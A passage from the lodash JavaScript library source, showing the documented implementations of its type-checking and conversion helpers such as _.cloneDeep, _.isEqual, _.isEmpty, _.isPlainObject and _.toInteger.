     * var shallow = _.clone(objects);
     * console.log(shallow[0] === objects[0]);
     * // => true
     */
    function clone(value) {
      return baseClone(value, CLONE_SYMBOLS_FLAG);
    }

    /**
     * This method is like `_.clone` except that it accepts `customizer` which
     * is invoked to produce the cloned value. If `customizer` returns `undefined`,
     * cloning is handled by the method instead. The `customizer` is invoked with
     * up to four arguments; (value [, index|key, object, stack]).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to clone.
     * @param {Function} [customizer] The function to customize cloning.
     * @returns {*} Returns the cloned value.
     * @see _.cloneDeepWith
     * @example
     *
     * function customizer(value) {
     *   if (_.isElement(value)) {
     *     return value.cloneNode(false);
     *   }
     * }
     *
     * var el = _.cloneWith(document.body, customizer);
     *
     * console.log(el === document.body);
     * // => false
     * console.log(el.nodeName);
     * // => 'BODY'
     * console.log(el.childNodes.length);
     * // => 0
     */
    function cloneWith(value, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      return baseClone(value, CLONE_SYMBOLS_FLAG, customizer);
    }

    /**
     * This method is like `_.clone` except that it recursively clones `value`.
     *
     * @static
     * @memberOf _
     * @since 1.0.0
     * @category Lang
     * @param {*} value The value to recursively clone.
     * @returns {*} Returns the deep cloned value.
     * @see _.clone
     * @example
     *
     * var objects = [{ 'a': 1 }, { 'b': 2 }];
     *
     * var deep = _.cloneDeep(objects);
     * console.log(deep[0] === objects[0]);
     * // => false
     */
    function cloneDeep(value) {
      return baseClone(value, CLONE_DEEP_FLAG | CLONE_SYMBOLS_FLAG);
    }

    /**
     * This method is like `_.cloneWith` except that it recursively clones `value`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to recursively clone.
     * @param {Function} [customizer] The function to customize cloning.
     * @returns {*} Returns the deep cloned value.
     * @see _.cloneWith
     * @example
     *
     * function customizer(value) {
     *   if (_.isElement(value)) {
     *     return value.cloneNode(true);
     *   }
     * }
     *
     * var el = _.cloneDeepWith(document.body, customizer);
     *
     * console.log(el === document.body);
     * // => false
     * console.log(el.nodeName);
     * // => 'BODY'
     * console.log(el.childNodes.length);
     * // => 20
     */
    function cloneDeepWith(value, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      return baseClone(value, CLONE_DEEP_FLAG | CLONE_SYMBOLS_FLAG, customizer);
    }

    /**
     * Checks if `object` conforms to `source` by invoking the predicate
     * properties of `source` with the corresponding property values of `object`.
     *
     * **Note:** This method is equivalent to `_.conforms` when `source` is
     * partially applied.
     *
     * @static
     * @memberOf _
     * @since 4.14.0
     * @category Lang
     * @param {Object} object The object to inspect.
     * @param {Object} source The object of property predicates to conform to.
     * @returns {boolean} Returns `true` if `object` conforms, else `false`.
     * @example
     *
     * var object = { 'a': 1, 'b': 2 };
     *
     * _.conformsTo(object, { 'b': function(n) { return n > 1; } });
     * // => true
     *
     * _.conformsTo(object, { 'b': function(n) { return n > 2; } });
     * // => false
     */
    function conformsTo(object, source) {
      return source == null || baseConformsTo(object, source, keys(source));
    }

    /**
     * Performs a
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * comparison between two values to determine if they are equivalent.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
     * @example
     *
     * var object = { 'a': 1 };
     * var other = { 'a': 1 };
     *
     * _.eq(object, object);
     * // => true
     *
     * _.eq(object, other);
     * // => false
     *
     * _.eq('a', 'a');
     * // => true
     *
     * _.eq('a', Object('a'));
     * // => false
     *
     * _.eq(NaN, NaN);
     * // => true
     */
    function eq(value, other) {
      return value === other || (value !== value && other !== other);
    }

    /**
     * Checks if `value` is greater than `other`.
     *
     * @static
     * @memberOf _
     * @since 3.9.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is greater than `other`,
     *  else `false`.
     * @see _.lt
     * @example
     *
     * _.gt(3, 1);
     * // => true
     *
     * _.gt(3, 3);
     * // => false
     *
     * _.gt(1, 3);
     * // => false
     */
    var gt = createRelationalOperation(baseGt);

    /**
     * Checks if `value` is greater than or equal to `other`.
     *
     * @static
     * @memberOf _
     * @since 3.9.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is greater than or equal to
     *  `other`, else `false`.
     * @see _.lte
     * @example
     *
     * _.gte(3, 1);
     * // => true
     *
     * _.gte(3, 3);
     * // => true
     *
     * _.gte(1, 3);
     * // => false
     */
    var gte = createRelationalOperation(function(value, other) {
      return value >= other;
    });

    /**
     * Checks if `value` is likely an `arguments` object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an `arguments` object,
     *  else `false`.
     * @example
     *
     * _.isArguments(function() { return arguments; }());
     * // => true
     *
     * _.isArguments([1, 2, 3]);
     * // => false
     */
    var isArguments = baseIsArguments(function() { return arguments; }()) ? baseIsArguments : function(value) {
      return isObjectLike(value) && hasOwnProperty.call(value, 'callee') &&
        !propertyIsEnumerable.call(value, 'callee');
    };

    /**
     * Checks if `value` is classified as an `Array` object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an array, else `false`.
     * @example
     *
     * _.isArray([1, 2, 3]);
     * // => true
     *
     * _.isArray(document.body.children);
     * // => false
     *
     * _.isArray('abc');
     * // => false
     *
     * _.isArray(_.noop);
     * // => false
     */
    var isArray = Array.isArray;

    /**
     * Checks if `value` is classified as an `ArrayBuffer` object.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an array buffer, else `false`.
     * @example
     *
     * _.isArrayBuffer(new ArrayBuffer(2));
     * // => true
     *
     * _.isArrayBuffer(new Array(2));
     * // => false
     */
    var isArrayBuffer = nodeIsArrayBuffer ? baseUnary(nodeIsArrayBuffer) : baseIsArrayBuffer;

    /**
     * Checks if `value` is array-like. A value is considered array-like if it's
     * not a function and has a `value.length` that's an integer greater than or
     * equal to `0` and less than or equal to `Number.MAX_SAFE_INTEGER`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is array-like, else `false`.
     * @example
     *
     * _.isArrayLike([1, 2, 3]);
     * // => true
     *
     * _.isArrayLike(document.body.children);
     * // => true
     *
     * _.isArrayLike('abc');
     * // => true
     *
     * _.isArrayLike(_.noop);
     * // => false
     */
    function isArrayLike(value) {
      return value != null && isLength(value.length) && !isFunction(value);
    }

    /**
     * This method is like `_.isArrayLike` except that it also checks if `value`
     * is an object.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an array-like object,
     *  else `false`.
     * @example
     *
     * _.isArrayLikeObject([1, 2, 3]);
     * // => true
     *
     * _.isArrayLikeObject(document.body.children);
     * // => true
     *
     * _.isArrayLikeObject('abc');
     * // => false
     *
     * _.isArrayLikeObject(_.noop);
     * // => false
     */
    function isArrayLikeObject(value) {
      return isObjectLike(value) && isArrayLike(value);
    }

    /**
     * Checks if `value` is classified as a boolean primitive or object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a boolean, else `false`.
     * @example
     *
     * _.isBoolean(false);
     * // => true
     *
     * _.isBoolean(null);
     * // => false
     */
    function isBoolean(value) {
      return value === true || value === false ||
        (isObjectLike(value) && baseGetTag(value) == boolTag);
    }

    /**
     * Checks if `value` is a buffer.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a buffer, else `false`.
     * @example
     *
     * _.isBuffer(new Buffer(2));
     * // => true
     *
     * _.isBuffer(new Uint8Array(2));
     * // => false
     */
    var isBuffer = nativeIsBuffer || stubFalse;

    /**
     * Checks if `value` is classified as a `Date` object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a date object, else `false`.
     * @example
     *
     * _.isDate(new Date);
     * // => true
     *
     * _.isDate('Mon April 23 2012');
     * // => false
     */
    var isDate = nodeIsDate ? baseUnary(nodeIsDate) : baseIsDate;

    /**
     * Checks if `value` is likely a DOM element.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a DOM element, else `false`.
     * @example
     *
     * _.isElement(document.body);
     * // => true
     *
     * _.isElement('<body>');
     * // => false
     */
    function isElement(value) {
      return isObjectLike(value) && value.nodeType === 1 && !isPlainObject(value);
    }

    /**
     * Checks if `value` is an empty object, collection, map, or set.
     *
     * Objects are considered empty if they have no own enumerable string keyed
     * properties.
     *
     * Array-like values such as `arguments` objects, arrays, buffers, strings, or
     * jQuery-like collections are considered empty if they have a `length` of `0`.
     * Similarly, maps and sets are considered empty if they have a `size` of `0`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is empty, else `false`.
     * @example
     *
     * _.isEmpty(null);
     * // => true
     *
     * _.isEmpty(true);
     * // => true
     *
     * _.isEmpty(1);
     * // => true
     *
     * _.isEmpty([1, 2, 3]);
     * // => false
     *
     * _.isEmpty({ 'a': 1 });
     * // => false
     */
    function isEmpty(value) {
      if (value == null) {
        return true;
      }
      if (isArrayLike(value) &&
          (isArray(value) || typeof value == 'string' || typeof value.splice == 'function' ||
            isBuffer(value) || isTypedArray(value) || isArguments(value))) {
        return !value.length;
      }
      var tag = getTag(value);
      if (tag == mapTag || tag == setTag) {
        return !value.size;
      }
      if (isPrototype(value)) {
        return !baseKeys(value).length;
      }
      for (var key in value) {
        if (hasOwnProperty.call(value, key)) {
          return false;
        }
      }
      return true;
    }

    /**
     * Performs a deep comparison between two values to determine if they are
     * equivalent.
     *
     * **Note:** This method supports comparing arrays, array buffers, booleans,
     * date objects, error objects, maps, numbers, `Object` objects, regexes,
     * sets, strings, symbols, and typed arrays. `Object` objects are compared
     * by their own, not inherited, enumerable properties. Functions and DOM
     * nodes are compared by strict equality, i.e. `===`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
     * @example
     *
     * var object = { 'a': 1 };
     * var other = { 'a': 1 };
     *
     * _.isEqual(object, other);
     * // => true
     *
     * object === other;
     * // => false
     */
    function isEqual(value, other) {
      return baseIsEqual(value, other);
    }

    /**
     * This method is like `_.isEqual` except that it accepts `customizer` which
     * is invoked to compare values. If `customizer` returns `undefined`, comparisons
     * are handled by the method instead. The `customizer` is invoked with up to
     * six arguments: (objValue, othValue [, index|key, object, other, stack]).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @param {Function} [customizer] The function to customize comparisons.
     * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
     * @example
     *
     * function isGreeting(value) {
     *   return /^h(?:i|ello)$/.test(value);
     * }
     *
     * function customizer(objValue, othValue) {
     *   if (isGreeting(objValue) && isGreeting(othValue)) {
     *     return true;
     *   }
     * }
     *
     * var array = ['hello', 'goodbye'];
     * var other = ['hi', 'goodbye'];
     *
     * _.isEqualWith(array, other, customizer);
     * // => true
     */
    function isEqualWith(value, other, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      var result = customizer ? customizer(value, other) : undefined;
      return result === undefined ? baseIsEqual(value, other, undefined, customizer) : !!result;
    }

    /**
     * Checks if `value` is an `Error`, `EvalError`, `RangeError`, `ReferenceError`,
     * `SyntaxError`, `TypeError`, or `URIError` object.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an error object, else `false`.
     * @example
     *
     * _.isError(new Error);
     * // => true
     *
     * _.isError(Error);
     * // => false
     */
    function isError(value) {
      if (!isObjectLike(value)) {
        return false;
      }
      var tag = baseGetTag(value);
      return tag == errorTag || tag == domExcTag ||
        (typeof value.message == 'string' && typeof value.name == 'string' && !isPlainObject(value));
    }

    /**
     * Checks if `value` is a finite primitive number.
     *
     * **Note:** This method is based on
     * [`Number.isFinite`](https://mdn.io/Number/isFinite).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a finite number, else `false`.
     * @example
     *
     * _.isFinite(3);
     * // => true
     *
     * _.isFinite(Number.MIN_VALUE);
     * // => true
     *
     * _.isFinite(Infinity);
     * // => false
     *
     * _.isFinite('3');
     * // => false
     */
    function isFinite(value) {
      return typeof value == 'number' && nativeIsFinite(value);
    }

    /**
     * Checks if `value` is classified as a `Function` object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a function, else `false`.
     * @example
     *
     * _.isFunction(_);
     * // => true
     *
     * _.isFunction(/abc/);
     * // => false
     */
    function isFunction(value) {
      if (!isObject(value)) {
        return false;
      }
      // The use of `Object#toString` avoids issues with the `typeof` operator
      // in Safari 9 which returns 'object' for typed arrays and other constructors.
      var tag = baseGetTag(value);
      return tag == funcTag || tag == genTag || tag == asyncTag || tag == proxyTag;
    }

    /**
     * Checks if `value` is an integer.
     *
     * **Note:** This method is based on
     * [`Number.isInteger`](https://mdn.io/Number/isInteger).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an integer, else `false`.
     * @example
     *
     * _.isInteger(3);
     * // => true
     *
     * _.isInteger(Number.MIN_VALUE);
     * // => false
     *
     * _.isInteger(Infinity);
     * // => false
     *
     * _.isInteger('3');
     * // => false
     */
    function isInteger(value) {
      return typeof value == 'number' && value == toInteger(value);
    }

    /**
     * Checks if `value` is a valid array-like length.
     *
     * **Note:** This method is loosely based on
     * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a valid length, else `false`.
     * @example
     *
     * _.isLength(3);
     * // => true
     *
     * _.isLength(Number.MIN_VALUE);
     * // => false
     *
     * _.isLength(Infinity);
     * // => false
     *
     * _.isLength('3');
     * // => false
     */
    function isLength(value) {
      return typeof value == 'number' &&
        value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER;
    }

    /**
     * Checks if `value` is the
     * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types)
     * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`)
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an object, else `false`.
     * @example
     *
     * _.isObject({});
     * // => true
     *
     * _.isObject([1, 2, 3]);
     * // => true
     *
     * _.isObject(_.noop);
     * // => true
     *
     * _.isObject(null);
     * // => false
     */
    function isObject(value) {
      var type = typeof value;
      return value != null && (type == 'object' || type == 'function');
    }

    /**
     * Checks if `value` is object-like. A value is object-like if it's not `null`
     * and has a `typeof` result of "object".
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is object-like, else `false`.
     * @example
     *
     * _.isObjectLike({});
     * // => true
     *
     * _.isObjectLike([1, 2, 3]);
     * // => true
     *
     * _.isObjectLike(_.noop);
     * // => false
     *
     * _.isObjectLike(null);
     * // => false
     */
    function isObjectLike(value) {
      return value != null && typeof value == 'object';
    }

    /**
     * Checks if `value` is classified as a `Map` object.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a map, else `false`.
     * @example
     *
     * _.isMap(new Map);
     * // => true
     *
     * _.isMap(new WeakMap);
     * // => false
     */
    var isMap = nodeIsMap ? baseUnary(nodeIsMap) : baseIsMap;

    /**
     * Performs a partial deep comparison between `object` and `source` to
     * determine if `object` contains equivalent property values.
     *
     * **Note:** This method is equivalent to `_.matches` when `source` is
     * partially applied.
     *
     * Partial comparisons will match empty array and empty object `source`
     * values against any array or object value, respectively. See `_.isEqual`
     * for a list of supported value comparisons.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Lang
     * @param {Object} object The object to inspect.
     * @param {Object} source The object of property values to match.
     * @returns {boolean} Returns `true` if `object` is a match, else `false`.
     * @example
     *
     * var object = { 'a': 1, 'b': 2 };
     *
     * _.isMatch(object, { 'b': 2 });
     * // => true
     *
     * _.isMatch(object, { 'b': 1 });
     * // => false
     */
    function isMatch(object, source) {
      return object === source || baseIsMatch(object, source, getMatchData(source));
    }

    /**
     * This method is like `_.isMatch` except that it accepts `customizer` which
     * is invoked to compare values. If `customizer` returns `undefined`, comparisons
     * are handled by the method instead. The `customizer` is invoked with five
     * arguments: (objValue, srcValue, index|key, object, source).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {Object} object The object to inspect.
     * @param {Object} source The object of property values to match.
     * @param {Function} [customizer] The function to customize comparisons.
     * @returns {boolean} Returns `true` if `object` is a match, else `false`.
     * @example
     *
     * function isGreeting(value) {
     *   return /^h(?:i|ello)$/.test(value);
     * }
     *
     * function customizer(objValue, srcValue) {
     *   if (isGreeting(objValue) && isGreeting(srcValue)) {
     *     return true;
     *   }
     * }
     *
     * var object = { 'greeting': 'hello' };
     * var source = { 'greeting': 'hi' };
     *
     * _.isMatchWith(object, source, customizer);
     * // => true
     */
    function isMatchWith(object, source, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      return baseIsMatch(object, source, getMatchData(source), customizer);
    }

    /**
     * Checks if `value` is `NaN`.
     *
     * **Note:** This method is based on
     * [`Number.isNaN`](https://mdn.io/Number/isNaN) and is not the same as
     * global [`isNaN`](https://mdn.io/isNaN) which returns `true` for
     * `undefined` and other non-number values.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is `NaN`, else `false`.
     * @example
     *
     * _.isNaN(NaN);
     * // => true
     *
     * _.isNaN(new Number(NaN));
     * // => true
     *
     * isNaN(undefined);
     * // => true
     *
     * _.isNaN(undefined);
     * // => false
     */
    function isNaN(value) {
      // An `NaN` primitive is the only value that is not equal to itself.
      // Perform the `toStringTag` check first to avoid errors with some
      // ActiveX objects in IE.
      return isNumber(value) && value != +value;
    }

    /**
     * Checks if `value` is a pristine native function.
     *
     * **Note:** This method can't reliably detect native functions in the presence
     * of the core-js package because core-js circumvents this kind of detection.
     * Despite multiple requests, the core-js maintainer has made it clear: any
     * attempt to fix the detection will be obstructed. As a result, we're left
     * with little choice but to throw an error. Unfortunately, this also affects
     * packages, like [babel-polyfill](https://www.npmjs.com/package/babel-polyfill),
     * which rely on core-js.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a native function,
     *  else `false`.
     * @example
     *
     * _.isNative(Array.prototype.push);
     * // => true
     *
     * _.isNative(_);
     * // => false
     */
    function isNative(value) {
      if (isMaskable(value)) {
        throw new Error(CORE_ERROR_TEXT);
      }
      return baseIsNative(value);
    }

    /**
     * Checks if `value` is `null`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is `null`, else `false`.
     * @example
     *
     * _.isNull(null);
     * // => true
     *
     * _.isNull(void 0);
     * // => false
     */
    function isNull(value) {
      return value === null;
    }

    /**
     * Checks if `value` is `null` or `undefined`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is nullish, else `false`.
     * @example
     *
     * _.isNil(null);
     * // => true
     *
     * _.isNil(void 0);
     * // => true
     *
     * _.isNil(NaN);
     * // => false
     */
    function isNil(value) {
      return value == null;
    }

    /**
     * Checks if `value` is classified as a `Number` primitive or object.
     *
     * **Note:** To exclude `Infinity`, `-Infinity`, and `NaN`, which are
     * classified as numbers, use the `_.isFinite` method.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a number, else `false`.
     * @example
     *
     * _.isNumber(3);
     * // => true
     *
     * _.isNumber(Number.MIN_VALUE);
     * // => true
     *
     * _.isNumber(Infinity);
     * // => true
     *
     * _.isNumber('3');
     * // => false
     */
    function isNumber(value) {
      return typeof value == 'number' ||
        (isObjectLike(value) && baseGetTag(value) == numberTag);
    }

    /**
     * Checks if `value` is a plain object, that is, an object created by the
     * `Object` constructor or one with a `[[Prototype]]` of `null`.
     *
     * @static
     * @memberOf _
     * @since 0.8.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a plain object, else `false`.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     * }
     *
     * _.isPlainObject(new Foo);
     * // => false
     *
     * _.isPlainObject([1, 2, 3]);
     * // => false
     *
     * _.isPlainObject({ 'x': 0, 'y': 0 });
     * // => true
     *
     * _.isPlainObject(Object.create(null));
     * // => true
     */
    function isPlainObject(value) {
      if (!isObjectLike(value) || baseGetTag(value) != objectTag) {
        return false;
      }
      var proto = getPrototype(value);
      if (proto === null) {
        return true;
      }
      var Ctor = hasOwnProperty.call(proto, 'constructor') && proto.constructor;
      return typeof Ctor == 'function' && Ctor instanceof Ctor &&
        funcToString.call(Ctor) == objectCtorString;
    }

    /**
     * Checks if `value` is classified as a `RegExp` object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a regexp, else `false`.
     * @example
     *
     * _.isRegExp(/abc/);
     * // => true
     *
     * _.isRegExp('/abc/');
     * // => false
     */
    var isRegExp = nodeIsRegExp ? baseUnary(nodeIsRegExp) : baseIsRegExp;

    /**
     * Checks if `value` is a safe integer. An integer is safe if it's an IEEE-754
     * double precision number which isn't the result of a rounded unsafe integer.
     *
     * **Note:** This method is based on
     * [`Number.isSafeInteger`](https://mdn.io/Number/isSafeInteger).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a safe integer, else `false`.
     * @example
     *
     * _.isSafeInteger(3);
     * // => true
     *
     * _.isSafeInteger(Number.MIN_VALUE);
     * // => false
     *
     * _.isSafeInteger(Infinity);
     * // => false
     *
     * _.isSafeInteger('3');
     * // => false
     */
    function isSafeInteger(value) {
      return isInteger(value) && value >= -MAX_SAFE_INTEGER && value <= MAX_SAFE_INTEGER;
    }

    /**
     * Checks if `value` is classified as a `Set` object.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a set, else `false`.
     * @example
     *
     * _.isSet(new Set);
     * // => true
     *
     * _.isSet(new WeakSet);
     * // => false
     */
    var isSet = nodeIsSet ? baseUnary(nodeIsSet) : baseIsSet;

    /**
     * Checks if `value` is classified as a `String` primitive or object.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a string, else `false`.
     * @example
     *
     * _.isString('abc');
     * // => true
     *
     * _.isString(1);
     * // => false
     */
    function isString(value) {
      return typeof value == 'string' ||
        (!isArray(value) && isObjectLike(value) && baseGetTag(value) == stringTag);
    }

    /**
     * Checks if `value` is classified as a `Symbol` primitive or object.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a symbol, else `false`.
     * @example
     *
     * _.isSymbol(Symbol.iterator);
     * // => true
     *
     * _.isSymbol('abc');
     * // => false
     */
    function isSymbol(value) {
      return typeof value == 'symbol' ||
        (isObjectLike(value) && baseGetTag(value) == symbolTag);
    }

    /**
     * Checks if `value` is classified as a typed array.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a typed array, else `false`.
     * @example
     *
     * _.isTypedArray(new Uint8Array);
     * // => true
     *
     * _.isTypedArray([]);
     * // => false
     */
    var isTypedArray = nodeIsTypedArray ? baseUnary(nodeIsTypedArray) : baseIsTypedArray;

    /**
     * Checks if `value` is `undefined`.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is `undefined`, else `false`.
     * @example
     *
     * _.isUndefined(void 0);
     * // => true
     *
     * _.isUndefined(null);
     * // => false
     */
    function isUndefined(value) {
      return value === undefined;
    }

    /**
     * Checks if `value` is classified as a `WeakMap` object.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a weak map, else `false`.
     * @example
     *
     * _.isWeakMap(new WeakMap);
     * // => true
     *
     * _.isWeakMap(new Map);
     * // => false
     */
    function isWeakMap(value) {
      return isObjectLike(value) && getTag(value) == weakMapTag;
    }

    /**
     * Checks if `value` is classified as a `WeakSet` object.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a weak set, else `false`.
     * @example
     *
     * _.isWeakSet(new WeakSet);
     * // => true
     *
     * _.isWeakSet(new Set);
     * // => false
     */
    function isWeakSet(value) {
      return isObjectLike(value) && baseGetTag(value) == weakSetTag;
    }

    /**
     * Checks if `value` is less than `other`.
     *
     * @static
     * @memberOf _
     * @since 3.9.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is less than `other`,
     *  else `false`.
     * @see _.gt
     * @example
     *
     * _.lt(1, 3);
     * // => true
     *
     * _.lt(3, 3);
     * // => false
     *
     * _.lt(3, 1);
     * // => false
     */
    var lt = createRelationalOperation(baseLt);

    /**
     * Checks if `value` is less than or equal to `other`.
     *
     * @static
     * @memberOf _
     * @since 3.9.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is less than or equal to
     *  `other`, else `false`.
     * @see _.gte
     * @example
     *
     * _.lte(1, 3);
     * // => true
     *
     * _.lte(3, 3);
     * // => true
     *
     * _.lte(3, 1);
     * // => false
     */
    var lte = createRelationalOperation(function(value, other) {
      return value <= other;
    });

    /**
     * Converts `value` to an array.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {Array} Returns the converted array.
     * @example
     *
     * _.toArray({ 'a': 1, 'b': 2 });
     * // => [1, 2]
     *
     * _.toArray('abc');
     * // => ['a', 'b', 'c']
     *
     * _.toArray(1);
     * // => []
     *
     * _.toArray(null);
     * // => []
     */
    function toArray(value) {
      if (!value) {
        return [];
      }
      if (isArrayLike(value)) {
        return isString(value) ? stringToArray(value) : copyArray(value);
      }
      if (symIterator && value[symIterator]) {
        return iteratorToArray(value[symIterator]());
      }
      var tag = getTag(value),
          func = tag == mapTag ? mapToArray : (tag == setTag ? setToArray : values);

      return func(value);
    }

    /**
     * Converts `value` to a finite number.
     *
     * @static
     * @memberOf _
     * @since 4.12.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {number} Returns the converted number.
     * @example
     *
     * _.toFinite(3.2);
     * // => 3.2
     *
     * _.toFinite(Number.MIN_VALUE);
     * // => 5e-324
     *
     * _.toFinite(Infinity);
     * // => 1.7976931348623157e+308
     *
     * _.toFinite('3.2');
     * // => 3.2
     */
    function toFinite(value) {
      if (!value) {
        return value === 0 ? value : 0;
      }
      value = toNumber(value);
      if (value === INFINITY || value === -INFINITY) {
        var sign = (value < 0 ? -1 : 1);
        return sign * MAX_INTEGER;
      }
      return value === value ? value : 0;
    }

    /**
     * Converts `value` to an integer.
     *
     * **Note:** This method is loosely based on
     * [`ToInteger`](http://www.ecma-international.org/ecma-262/7.0/#sec-tointeger).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {number} Returns the converted integer.
     * @example
     *
     * _.toInteger(3.2);
     * // => 3
     *
     * _.toInteger(Number.MIN_VALUE);
     * // => 0
     *
     * _.toInteger(Infinity);
     * // => 1.7976931348623157e+308
     *
     * _.toInteger('3.2');
     * // => 3
     */
    function toInteger(value) {
      var result = toFinite(value),
          remainder = result % 1;

      return result === result ? (remainder ? result - remainder : result) : 0;
    }

    /**
     * Converts `value` to an integer suitable for use as the length of an
     * array-like object.
     *
     * **Note:** This method is based on
     * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {number} Returns the converted integer.
